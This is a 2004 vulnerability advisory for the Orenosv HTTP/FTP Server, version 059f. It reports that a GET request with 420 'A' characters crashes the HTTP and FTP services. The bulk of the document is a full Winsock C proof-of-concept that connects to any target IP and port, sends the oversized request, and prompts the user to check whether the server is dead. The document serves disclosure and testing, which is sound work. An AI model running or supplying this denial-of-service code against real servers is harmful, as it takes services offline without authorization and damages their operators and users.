SP Research Labs Advisory x13
-----------------------------

Orenosv HTTP/FTP Server Denial Of Service
-----------------------------------------

Versions:
orenosv059f

Vendor:
http://hp.vector.co.jp/authors/VA027031/orenosv/index_en.html

Date Released - 5.25.2004

------------------------------------
Product Description from the vendor:

Orenosv is an HTTP/FTP/FTPS server running on Windows NT 4.0, Windows 2000 and Windows XP platforms.
Orenosv is a freely distributable software.

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Details:

A specifically crafted HTTP GET request which contains 420 A's will cause the HTTP and FTP service
to stop responding.  

--------
Exploit:

Attached to this advisory is very basic PoC code which only causes the orenosv service to crash.

--------------
Tested on: 
WindowsXP SP1

peace out,

--------------------------
badpack3t
www.security-protocols.com
--------------------------

/****************************/
   PoC to crash the server
/****************************/

/* Orenosv HTTP/FTP Server Denial Of Service
   
   Version:
   orenosv059f
  
   Vendor:
   http://hp.vector.co.jp/authors/VA027031/orenosv/index_en.html

   Coded and Discovered by:
   badpack3t <badpack3t@security-protocols.com>
   .:sp research labs:.
   www.security-protocols.com
   5.25.2004
 */

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] = 

/* 420 A's - looks ugly but owell */
"GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0\r\n\r\n"; 

int main(int argc, char *argv[])
{
  WSADATA wsaData;
  WORD wVersionRequested;
  struct hostent  *pTarget;
  struct sockaddr_in   sock;
  char *target;
  int port,bufsize;
  SOCKET mysocket;
  
  if (argc < 2)
  {
    printf("Orenosv HTTP/FTP Server DoS by badpack3t\r\n\r\n", argv[0]); 
    printf("Usage:\r\n %s <targetip> [targetport] (default is 9999)\r\n\r\n", argv[0]);
    printf("www.security-protocols.com\r\n\r\n", argv[0]);
    exit(1);
  }

  wVersionRequested = MAKEWORD(1, 1);
  if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

  target = argv[1];
  port = 9999;

  if (argc >= 3) port = atoi(argv[2]);
  bufsize = 1024;
  if (argc >= 4) bufsize = atoi(argv[3]);

  mysocket = socket(AF_INET, SOCK_STREAM, 0);
  if(mysocket==INVALID_SOCKET)
  {  
    printf("Socket error!\r\n");
    exit(1);
  }

  printf("Resolving Hostnames...\n");
  if ((pTarget = gethostbyname(target)) == NULL)
  {
    printf("Resolve of %s failed\n", argv[1]);
    exit(1);
  }

  memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
  sock.sin_family = AF_INET;
  sock.sin_port = htons((USHORT)port);

  printf("Connecting...\n");
  if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
  {
    printf("Couldn't connect to host.\n");
    exit(1);
  }

  printf("Connected!...\n");
  printf("Sending Payload...\n");
  if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
  {
    printf("Error Sending the Exploit Payload\r\n");
    closesocket(mysocket);
    exit(1);
  }

  printf("Payload has been sent! Check if the webserver is dead.\r\n");
  closesocket(mysocket);
  WSACleanup();
  return 0;
}